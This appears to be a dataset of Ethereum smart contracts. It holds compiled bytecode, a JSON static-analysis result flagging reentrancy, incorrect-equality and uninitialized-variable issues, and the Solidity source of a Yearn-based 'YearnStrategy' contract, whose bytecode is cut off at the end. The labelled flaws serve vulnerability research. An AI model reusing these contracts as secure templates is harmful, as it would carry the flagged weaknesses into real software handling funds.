112ce565b61080291906123c4565b836020015161081191906123f3565b61081b9190612412565b61082590846123db565b96505050505050505b92915050565b61083e82826119bc565b6001600160a01b03909316600090815260036020908152604080832060029092529091209390935590915550565b6001600160a01b03811660009081526001602052604081205461082e904290611b1b565b600d54600090806108a45750600092915050565b82600c60006108b46001856123c4565b815260200190815260200160002060000154116108dd576108d66001826123c4565b9392505050565b60008052600c6020527f13649b2456f1b42fef0f0040b3aaeabcd21a76a0f3f5defd4f583839455116e8548310156109185750600092915050565b6000806109266001846123c4565b90505b818111156109ba576000600261093f84846123c4565b6109499190612412565b61095390836123c4565b6000818152600c6020908152604091829020825180840190935280548084526001909101549183019190915291925090871415610994575095945050505050565b80518711156109a5578193506109b3565b6109b06001836123c4565b92505b5050610929565b509392505050565b6001600160a01b03811660009081526001602052604081205442106109e957506000919050565b6001600160a01b038216600090815260016020526040812054610a0d9042906123c4565b6001600160a01b0384166000908152602081905260409020549091506108d690826123f3565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610a6857600080fd5b8160086000828254610a7a91906123c4565b909155505060008181526009602052604081208054849290610a9d9084906123c4565b9091555050600081815260096020526040902054610abc908290611b2a565b610ac4611c03565b604080518281526020810184905233917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b56891015b60405180910390a25050565b6000828152600b602052604081205480610b2257600091505061082e565b6000848152600a602052604081208491610b3d6001856123c4565b81526020019081526020016000206000015411610b6757610b5f6001826123c4565b91505061082e565b6000848152600a60209081526040808320838052909152902054831015610b9257600091505061082e565b600080610ba06001846123c4565b90505b81811115610c3e5760006002610bb984846123c4565b610bc39190612412565b610bcd90836123c4565b6000888152600a60209081526040808320848452825291829020825180840190935280548084526001909101549183019190915291925090871415610c185750935061082e92505050565b8051871115610c2957819350610c37565b610c346001836123c4565b92505b5050610ba3565b50949350505050565b601054600114610c5657600080fd5b6002601055336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610c9057600080fd5b6040516331a9108f60e11b8152600481018390526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690636352211e90602401602060405180830381865afa158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061244f565b905060005b8251811015610f7c57610d4c838281518110610d3f57610d3f61246c565b6020026020010151611ca7565b60036000868581518110610d6257610d6261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600060026000888781518110610da257610da261246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008491905055839190505550506000610dfd848381518110610def57610def61246c565b6020026020010151866105cc565b90504260046000868581518110610e1657610e1661246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060008781526020019081526020016000208190555060036000858481518110610e6957610e6961246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000205460056000868581518110610ea857610ea861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208982529092529020558015610f0357610f03848381518110610ef457610ef461246c565b60200260200101518483611e8a565b838281518110610f1557610f1561246c565b60200260200101516001600160a01b0316836001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc983604051610f6191815260200190565b60405180910390a35080610f7481612434565b915050610d21565b505060016010555050565b601054600114610f9657600080fd5b600260105580610fa557600080fd5b6001600160a01b038216600090815260208190526040902054610fce57610fce82600042611f79565b610fd782611ca7565b6001600160a01b03841660009081526003602090815260408083206002835281842094909455939092556001909152205442106110455761101a82333084612068565b61102762093a8082612412565b6001600160a01b0383166000908152602081905260409020556110de565b6001600160a01b0382166000908152600160205260408120546110699042906123c4565b6001600160a01b0384166000908152602081905260408120549192509061109090836123f3565b905080831161109e57600080fd5b6110aa84333086612068565b62093a806110b882856123db565b6110c29190612412565b6001600160a01b03851660009081526020819052604090205550505b6001600160a01b03821660009081526020819052604090205461110057600080fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b9190612482565b905061117a62093a8082612412565b6001600160a01b03841660009081526020819052604090205411156111e55760405162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015260640160405180910390fd5b6111f262093a80426123db565b6001600160a01b03841660009081526001602090815260408083209390935560079052205460ff16611284576001600160a01b0383166000818152600760205260408120805460ff191660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b03191690911790555b6040518281526001600160a01b0384169033907ff70d5c697de7ea828df48e5c4573cb2194c659f1901f70110c52b066dcf508269060200160405180910390a35050600160105550565b6000600854600014156112f757506001600160a01b031660009081526003602052604090205490565b6008546001600160a01b0383166000908152602081815260408083205460028352818420546001909352922054670de0b6b3a7640000929161133891611b1b565b6113418661086c565b61134b91906123c4565b61135591906123f3565b61135f91906123f3565b6113699190612412565b6001600160a01b03831660009081526003602052604090205461082e91906123db565b6006818154811061139c57600080fd5b6000918252602090912001546001600160a01b0316905081565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146113eb57600080fd5b81600860008282546113fd91906123db565b9091555050600081815260096020526040812080548492906114209084906123db565b909155505060008181526009602052604090205461143f908290611b2a565b611447611c03565b604080518281526020810184905233917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159101610af8565b60105460011461148e57600080fd5b600260105560405163430c208160e01b8152336004820152602481018390527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063430c208190604401602060405180830381865afa1580156114fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611522919061249b565b61152b57600080fd5b60005b815181101561177c5761154c828281518110610d3f57610d3f61246c565b600360008585815181106115625761156261246c565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000206000600260008787815181106115a2576115a261246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600084919050558391905055505060006115fd8383815181106115ef576115ef61246c565b6020026020010151856105cc565b905042600460008585815181106116165761161661246c565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020600086815260200190815260200160002081905550600360008484815181106116695761166961246c565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600560008585815181106116a8576116a861246c565b6020908102919091018101516001600160a01b0316825281810192909252604090810160009081208882529092529020558015611703576117038383815181106116f4576116f461246c565b60200260200101513383611e8a565b8282815181106117155761171561246c565b60200260200101516001600160a01b0316336001600160a01b03167f9aa05b3d70a9e3e2f004f039648839560576334fb45c81f91b6db03ad9e2efc98360405161176191815260200190565b60405180910390a3508061177481612434565b91505061152e565b5050600160105550565b6001600160a01b0382166000908152600f60205260408120548190806117b357600080925092505061199e565b6001600160a01b0385166000908152600e6020526040812085916117d86001856123c4565b81526020019081526020016000206000015411611875576001600160a01b0385166000908152600e60205260408120906118136001846123c4565b815260200190815260200160002060010154600e6000876001600160a01b03166001600160a01b03168152602001908152602001600020600060018461185991906123c4565b815260200190815260200160002060000154925092505061199e565b6001600160a01b0385166000908152600e602090815260408083208380529091529020548410156118ad57600080925092505061199e565b6000806118bb6001846123c4565b90505b8181111561196d57600060026118d484846123c4565b6118de9190612412565b6118e890836123c4565b6001600160a01b0389166000908152600e602090815260408083208484528252918290208251808401909352805480845260019091015491830191909152919250908814156119475760208101519051909650945061199e9350505050565b805188111561195857819350611966565b6119636001836123c4565b92505b50506118be565b506001600160a01b0386166000908152600e6020908152604080832093835292905220600181015490549093509150505b9250929050565b6000818310156119b557816108d6565b5090919050565b6001600160a01b0382166000908152600260209081526040808320546003909252822054600d54839291906119f4579250905061199e565b6001600160a01b038616600090815260208190526040902054611a1d57925042915061199e9050565b6000611a2883610890565b90506000611a446001600d54611a3e91906123c4565b88611b1b565b9050815b81811015611b0c576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611af9576000600c81611a8d8560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611ad88d8460000151866000015187602001518d612160565b9092509050611ae782896123db565b9750611af48d8983611f79565b975050505b5080611b0481612434565b915050611a48565b50919792965091945050505050565b60008183106119b557816108d6565b6000828152600b602052604090205442908015801590611b7457506000848152600a602052604081208391611b606001856123c4565b815260200190815260200160002060000154145b15611bad576000848152600a602052604081208491611b946001856123c4565b8152602081019190915260400160002060010155611bfd565b60408051808201825283815260208082018681526000888152600a8352848120868252909252929020905181559051600191820155611bed9082906123db565b6000858152600b60205260409020555b50505050565b600d54428115801590611c35575080600c6000611c216001866123c4565b815260200190815260200160002060000154145b15611c6457600854600c6000611c4c6001866123c4565b81526020810191909152604001600020600101555050565b60408051808201825282815260085460208083019182526000868152600c90915292909220905181559051600191820155611ca09083906123db565b600d555050565b6001600160a01b0381166000908152600260209081526040808320546003909252822054600d5483929190611cdf5794909350915050565b6001600160a01b038516600090815260208190526040902054611d06579442945092505050565b6000611d1183610890565b905060006001600d54611d2491906123c4565b90506001611d3283836123c4565b1115611e0a57815b611d456001836123c4565b811015611e08576000818152600c60209081526040918290208251808401909352805483526001015490820181905215611df5576000600c81611d898560016123db565b8152602001908152602001600020604051806040016040529081600082015481526020016001820154815250509050600080611dd48c8460000151866000015187602001518d612160565b9092509050611de382896123db565b9750611df08c8983611f79565b975050505b5080611e0081612434565b915050611d3a565b505b6000818152600c60209081526040918290208251808401909352805483526001015490820181905215611e7c576000611e5d89611e468b61086c565b8451611e52908a6119a5565b85602001518a612160565b509050611e6a81866123db565b9450611e77898642611f79565b429550505b509196929550919350505050565b6000836001600160a01b03163b11611ea157600080fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691611efd91906124bd565b6000604051808303816000865af19150503d8060008114611f3a576040519150601f19603f3d011682016040523d82523d6000602084013e611f3f565b606091505b5091509150818015611f69575080511580611f69575080806020019051810190611f69919061249b565b611f7257600080fd5b5050505050565b6001600160a01b0383166000908152600f60205260409020548015801590611fd557506001600160a01b0384166000908152600e602052604081208391611fc16001856123c4565b815260200190815260200160002060000154145b15611fff576001600160a01b0384166000908152600e602052604081208491611b946001856123c4565b60408051808201825283815260208082018681526001600160a01b0388166000908152600e83528481208682529092529290209051815590516001918201556120499082906123db565b6001600160a01b0385166000908152600f602052604090205550505050565b6000846001600160a01b03163b1161207f57600080fd5b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17905291516000928392908816916120e391906124bd565b6000604051808303816000865af19150503d8060008114612120576040519150601f19603f3d011682016040523d82523d6000602084013e612125565b606091505b509150915081801561214f57508051158061214f57508080602001905181019061214f919061249b565b61215857600080fd5b505050505050565b600080600061216f87856119a5565b6001600160a01b0389166000908152602081905260409020549091508590670de0b6b3a7640000906121c26121a48a896119a5565b6001600160a01b038d16600090815260016020526040902054611b1b565b6001600160a01b038c166000908152600160205260409020546121e6908690611b1b565b6121f091906123c4565b6121fa91906123f3565b61220491906123f3565b61220e9190612412565b9890975095505050505050565b6001600160a01b038116811461223057600080fd5b50565b803561223e8161221b565b919050565b6000806040838503121561225657600080fd5b82356122618161221b565b946020939093013593505050565b60006020828403121561228157600080fd5b81356108d68161221b565b6000806040838503121561229f57600080fd5b50508035926020909101359150565b6000602082840312156122c057600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156122f057600080fd5b8235915060208084013567ffffffffffffffff8082111561231057600080fd5b818601915086601f83011261232457600080fd5b813581811115612336576123366122c7565b8060051b604051601f19603f8301168101818110858211171561235b5761235b6122c7565b60405291825284820192508381018501918983111561237957600080fd5b938501935b8285101561239e5761238f85612233565b8452938501939285019261237e565b8096505050505050509250929050565b634e487b7160e01b600052601160045260246000fd5b6000828210156123d6576123d66123ae565b500390565b600082198211156123ee576123ee6123ae565b500190565b600081600019048311821515161561240d5761240d6123ae565b500290565b60008261242f57634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415612448576124486123ae565b5060010190565b60006020828403121561246157600080fd5b81516108d68161221b565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561249457600080fd5b5051919050565b6000602082840312156124ad57600080fd5b815180151581146108d657600080fd5b6000825160005b818110156124de57602081860181015185830152016124c4565b818111156124ed576000828501525b50919091019291505056fea2646970667358221220a22a6d9731fe98e7396bc8f8c9b50514291e16577c041398eaf2bd17fac19cd864736f6c634300080b0033a2646970667358221220050ef2c284efb85cc33b236199e225cd19590b93115ff70b69454acea810d17a64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 2,435 |
0x4dd5567801392bcdfe2e28b314776356d8c190f0
|
/**
*Submitted for verification at Etherscan.io on 2021-04-29
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface StakedToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IStakeAndYield {
function getRewardToken() external view returns(address);
function totalSupply(uint256 stakeType) external view returns(uint256);
function totalYieldWithdrawed() external view returns(uint256);
function notifyRewardAmount(uint256 reward, uint256 stakeType) external;
}
interface IController {
function withdrawETH(uint256 amount) external;
function depositForStrategy(uint256 amount, address addr) external;
function buyForStrategy(
uint256 amount,
address rewardToken,
address recipient
) external;
}
interface IYearnVault {
function depositETH() external payable;
}
interface IYearnWETH{
function balanceOf(address account) external view returns (uint256);
function withdraw(uint256 amount, address recipient) external returns(uint256);
function pricePerShare() external view returns(uint256);
function deposit(uint256 _amount) external returns(uint256);
}
interface IWETH is StakedToken{
function withdraw(uint256 amount) external returns(uint256);
}
contract YearnStrategy is Ownable {
using SafeMath for uint256;
uint256 public lastEpochTime;
uint256 public lastBalance;
uint256 public lastYieldWithdrawed;
uint256 public yearFeesPercent = 0;
uint256 public ethPushedToYearn = 0;
IStakeAndYield public vault;
StakedToken public token;
IController public controller;
IYearnWETH public yweth = IYearnWETH(0xa9fE4601811213c340e850ea305481afF02f5b28);
IWETH public weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public operator;
modifier onlyOwnerOrOperator(){
require(
msg.sender == owner() || msg.sender == operator,
"!owner"
);
_;
}
constructor(
address _vault,
address _controller
) public{
vault = IStakeAndYield(_vault);
controller = IController(_controller);
}
// Since Owner is calling this function, we can pass
// the ETHPerToken amount
function epoch(uint256 ETHPerToken) public onlyOwnerOrOperator{
uint256 balance = pendingBalance();
//require(balance > 0, "balance is 0");
harvest(balance.mul(ETHPerToken).div(1 ether));
lastEpochTime = block.timestamp;
lastBalance = lastBalance.add(balance);
uint256 currentWithdrawd = vault.totalYieldWithdrawed();
uint256 withdrawAmountToken = currentWithdrawd.sub(lastYieldWithdrawed);
if(withdrawAmountToken > 0){
lastYieldWithdrawed = currentWithdrawd;
uint256 ethWithdrawed = withdrawAmountToken.mul(
ETHPerToken
).div(1 ether);
withdrawFromYearn(ethWithdrawed);
ethPushedToYearn = ethPushedToYearn.sub(ethWithdrawed);
}
}
function harvest(uint256 ethBalance) private{
uint256 rewards = calculateRewards();
if(ethBalance > rewards){
//deposit to yearn
controller.depositForStrategy(ethBalance.sub(rewards), address(this));
ethPushedToYearn = ethPushedToYearn.add(
ethBalance).sub(rewards);
}else{
// withdraw rest of rewards from YEARN
rewards = withdrawFromYearn(rewards.sub(ethBalance));
}
// get DEA and send to Vault
if(rewards > 0){
controller.buyForStrategy(
rewards,
vault.getRewardToken(),
address(vault)
);
}
}
function withdrawFromYearn(uint256 ethAmount) private returns(uint256){
uint256 yShares = yweth.balanceOf(address(this));
uint256 sharesToWithdraw = ethAmount.div(
yweth.pricePerShare()
).mul(1 ether);
require(yShares >= sharesToWithdraw, "Not enough shares");
return yweth.withdraw(sharesToWithdraw, address(controller));
}
function calculateRewards() public view returns(uint256){
uint256 yShares = yweth.balanceOf(address(this));
uint256 yETHBalance = yShares.mul(
yweth.pricePerShare()
).div(1 ether);
yETHBalance = yETHBalance.mul(1000 - yearFeesPercent).div(1000);
if(yETHBalance > ethPushedToYearn){
return yETHBalance - ethPushedToYearn;
}
return 0;
}
function pendingBalance() public view returns(uint256){
uint256 vaultBalance = vault.totalSupply(2);
if(vaultBalance < lastBalance){
return 0;
}
return vaultBalance.sub(lastBalance);
}
function getLastEpochTime() public view returns(uint256){
return lastEpochTime;
}
function setYearnFeesPercent(uint256 _val) public onlyOwner{
yearFeesPercent = _val;
}
function setOperator(address _addr) public onlyOwner{
operator = _addr;
}
function setController(address _controller, address _vault) public onlyOwner{
if(_controller != address(0)){
controller = IController(_controller);
}
if(_vault != address(0)){
vault = IStakeAndYield(_vault);
}
}
function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{
require(addr != address(0));
payable(addr).transfer(amount);
}
function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
StakedToken(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806389c614b8116100c3578063ba5224581161007c578063ba522458146102b5578063d02e27ac146102bd578063f2fde38b146102da578063f77c479114610300578063fbfa77cf14610308578063fc0c546a146103105761014d565b806389c614b8146102395780638da5cb5b146102415780638f014f18146102495780638f1c56bd14610251578063b3ab15fb14610259578063b3f5e0081461027f5761014d565b8063570ca73511610115578063570ca735146101e357806357b4d18e146101eb578063715018a6146101f35780637b7d6c68146101fb5780637ce686111461022957806388c41789146102315761014d565b8063159450061461015257806316caf8c7146101805780633e50de301461019a5780633fc8cef3146101a25780635487c577146101c6575b600080fd5b61017e6004803603604081101561016857600080fd5b50803590602001356001600160a01b0316610318565b005b6101886103be565b60408051918252519081900360200190f35b6101886103c4565b6101aa61051b565b604080516001600160a01b039092168252519081900360200190f35b61017e600480360360208110156101dc57600080fd5b503561052a565b6101aa6106a1565b6101886106b0565b61017e610758565b61017e6004803603604081101561021157600080fd5b506001600160a01b03813581169160200135166107fa565b6101886108ac565b6101886108b2565b6101886108b8565b6101aa6108be565b6101aa6108cd565b6101886108dc565b61017e6004803603602081101561026f57600080fd5b50356001600160a01b03166108e2565b61017e6004803603606081101561029557600080fd5b506001600160a01b0381358116916020810135909116906040013561095c565b610188610a3c565b61017e600480360360208110156102d357600080fd5b5035610a42565b61017e600480360360208110156102f057600080fd5b50356001600160a01b0316610a9f565b6101aa610b97565b6101aa610ba6565b6101aa610bb5565b610320610bc4565b6000546001600160a01b03908116911614610370576040805162461bcd60e51b815260206004820181905260248201526000805160206111f7833981519152604482015290519081900360640190fd5b6001600160a01b03811661038357600080fd5b6040516001600160a01b0382169083156108fc029084906000818181858888f193505050501580156103b9573d6000803e3d6000fd5b505050565b60035481565b600954604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561041457600080fd5b505afa158015610428573d6000803e3d6000fd5b505050506040513d602081101561043e57600080fd5b505160095460408051634ca9858360e11b815290519293506000926104d692670de0b6b3a7640000926104d0926001600160a01b03909216916399530b0691600480820192602092909190829003018186803b15801561049d57600080fd5b505afa1580156104b1573d6000803e3d6000fd5b505050506040513d60208110156104c757600080fd5b50518590610bc8565b90610c2a565b90506104f76103e86104d06004546103e80384610bc890919063ffffffff16565b905060055481111561051157600554810392505050610518565b6000925050505b90565b600a546001600160a01b031681565b6105326108be565b6001600160a01b0316336001600160a01b0316148061055b5750600b546001600160a01b031633145b610595576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600061059f6106b0565b90506105bf6105ba670de0b6b3a76400006104d08486610bc8565b610c6c565b426001556002546105d09082610e2f565b60025560065460408051633caef61b60e21b815290516000926001600160a01b03169163f2bbd86c916004808301926020929190829003018186803b15801561061857600080fd5b505afa15801561062c573d6000803e3d6000fd5b505050506040513d602081101561064257600080fd5b5051600354909150600090610658908390610e89565b9050801561069b576003829055600061067d670de0b6b3a76400006104d08488610bc8565b905061068881610ecb565b506005546106969082610e89565b600555505b50505050565b600b546001600160a01b031681565b6006546040805163bd85b03960e01b815260026004820152905160009283926001600160a01b039091169163bd85b03991602480820192602092909190829003018186803b15801561070157600080fd5b505afa158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b5051600254909150811015610744576000915050610518565b600254610752908290610e89565b91505090565b610760610bc4565b6000546001600160a01b039081169116146107b0576040805162461bcd60e51b815260206004820181905260248201526000805160206111f7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610802610bc4565b6000546001600160a01b03908116911614610852576040805162461bcd60e51b815260206004820181905260248201526000805160206111f7833981519152604482015290519081900360640190fd5b6001600160a01b0382161561087d57600880546001600160a01b0319166001600160a01b0384161790555b6001600160a01b038116156108a857600680546001600160a01b0319166001600160a01b0383161790555b5050565b60055481565b60045481565b60015481565b6000546001600160a01b031690565b6009546001600160a01b031681565b60025481565b6108ea610bc4565b6000546001600160a01b0390811691161461093a576040805162461bcd60e51b815260206004820181905260248201526000805160206111f7833981519152604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b610964610bc4565b6000546001600160a01b039081169116146109b4576040805162461bcd60e51b815260206004820181905260248201526000805160206111f7833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a0b57600080fd5b505af1158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5050505050565b60015490565b610a4a610bc4565b6000546001600160a01b03908116911614610a9a576040805162461bcd60e51b815260206004820181905260248201526000805160206111f7833981519152604482015290519081900360640190fd5b600455565b610aa7610bc4565b6000546001600160a01b03908116911614610af7576040805162461bcd60e51b815260206004820181905260248201526000805160206111f7833981519152604482015290519081900360640190fd5b6001600160a01b038116610b3c5760405162461bcd60e51b81526004018080602001828103825260268152602001806111b06026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6008546001600160a01b031681565b6006546001600160a01b031681565b6007546001600160a01b031681565b3390565b600082610bd757506000610c24565b82820282848281610be457fe5b0414610c215760405162461bcd60e51b81526004018080602001828103825260218152602001806111d66021913960400191505060405180910390fd5b90505b92915050565b6000610c2183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b3565b6000610c766103c4565b905080821115610d21576008546001600160a01b031663f007d926610c9b8484610e89565b306040518363ffffffff1660e01b815260040180838152602001826001600160a01b0316815260200192505050600060405180830381600087803b158015610ce257600080fd5b505af1158015610cf6573d6000803e3d6000fd5b50505050610d1981610d1384600554610e2f90919063ffffffff16565b90610e89565b600555610d36565b610d33610d2e8284610e89565b610ecb565b90505b80156108a857600854600654604080516369940d7960e01b815290516001600160a01b0393841693637fc095319386939116916369940d7991600480820192602092909190829003018186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d6020811015610db957600080fd5b5051600654604080516001600160e01b031960e087901b16815260048101949094526001600160a01b0392831660248501529116604483015251606480830192600092919082900301818387803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050505050565b600082820183811015610c21576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610c2183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611155565b600954604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610f1b57600080fd5b505afa158015610f2f573d6000803e3d6000fd5b505050506040513d6020811015610f4557600080fd5b505160095460408051634ca9858360e11b81529051929350600092610fdd92670de0b6b3a764000092610fd7926001600160a01b03909216916399530b0691600480820192602092909190829003018186803b158015610fa457600080fd5b505afa158015610fb8573d6000803e3d6000fd5b505050506040513d6020811015610fce57600080fd5b50518790610c2a565b90610bc8565b905080821015611028576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f7567682073686172657360781b604482015290519081900360640190fd5b60095460085460408051627b8a6760e11b8152600481018590526001600160a01b0392831660248201529051919092169162f714ce9160448083019260209291908290030181600087803b15801561107f57600080f